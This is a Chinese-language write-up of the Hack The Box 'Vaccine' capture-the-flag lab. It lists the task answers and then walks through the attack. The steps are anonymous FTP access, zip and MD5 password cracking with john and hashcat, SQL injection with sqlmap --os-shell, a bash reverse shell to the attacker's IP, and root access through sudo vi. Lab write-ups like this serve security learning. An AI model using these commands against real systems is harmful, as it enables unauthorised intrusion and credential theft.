STARTING POINT - TIER 2 - Vaccine
一、题目
TASK 1
Besides SSH and HTTP, what other service is hosted on this box?
除了SSH和HTTP,这个盒子上还有什么服务?
答案:ftp
TASK 2
This service can be configured to allow login with any password for specific username. What is that username?
这项服务可以被配置为允许用任何密码登录特定的用户名。该用户名是什么?
答案:Anonymous
TASK 3
What is the name of the file downloaded over this service?
通过这项服务下载的文件的名称是什么?
答案:backup.zip
TASK 4
What script comes with the John The Ripper toolset and generates a hash from a password protected zip archive in a format to allow for cracking attempts?
John The Ripper工具箱中的哪个脚本可以从受密码保护的压缩文件中生成一个哈希值,以允许破解尝试?
答案:zip2john
TASK 5
What is the password for the admin user on the website?
网站上的管理员用户的密码是什么?
答案:qwerty789
TASK 6
What option can be passed to sqlmap to try to get command execution via the sql injection?
什么选项可以传递给sqlmap以尝试通过sql注入获得命令执行?
答案:--os-shell
TASK 7
What program can the postgres user run as root using sudo?
postgres用户可以使用sudo以root身份运行什么程序?
答案:vi
二、过程
nmap扫描,发现ftp可以匿名登录,并且存在一个backup.zip压缩文件

登录ftp将压缩包下载到本机,尝试解压提示需要密码


使用john计算压缩包hash值并将结果存入文件中
zip2john backup.zip > hash

在kali自带的字典中查找密码,并解压压缩包
john --wordlist=/usr/share/wordlists/rockyou.txt hash


查看php文件,找到admin用户信息,将hash值存入文件中

使用hashcat枚举密码
-a, --attack-mode=NUM 攻击模式,0 = 字典攻击,1 = 组合攻击,3 = 掩码攻击
-m, —hash-type=NUM 哈希类别,0 = MD5
hashcat -a 0 -m 0 admin.txt /usr/share/wordlists/rockyou.txt


ftp这部分完成后,访问网站,将刚刚得到的admin信息填入登录

进入后没有扫描特别的信息,只有个搜索框,随便填写一个值进行搜索,查看url首先想到的是sql注入

这里使用sqlmap进行扫描,提交后发现转去index页面了,这里想到是不是有身份验证,进入调试台获取当前用户的cookie,重新使用sqlmap扫描可以看到有注入




使用--os-shell参数进获取shell,开启监听,使用bash -c 反弹shell到kali,注意当前机器的vpnIP地址
sqlmap -u 'http://10.129.25.218/dashboard.php?search=12432344' --cookie='PHPSESSID=u9agegcmue7r581ugaj3l5htrh' --os-shell
bash -c 'bash -i >& /dev/tcp/10.10.16.28/4444 0>&1'


回到当前用户家目录查看user.txt

查看网站代码,发现数据库连接配置,尝试使用信息用ssh连接一下,连接成功


查看用户当前的权限,发现有一个配置文件,使用vi进行编辑输入:!/bin/bash回车


切换到root命令查看root.txt


浙公网安备 33010602011771号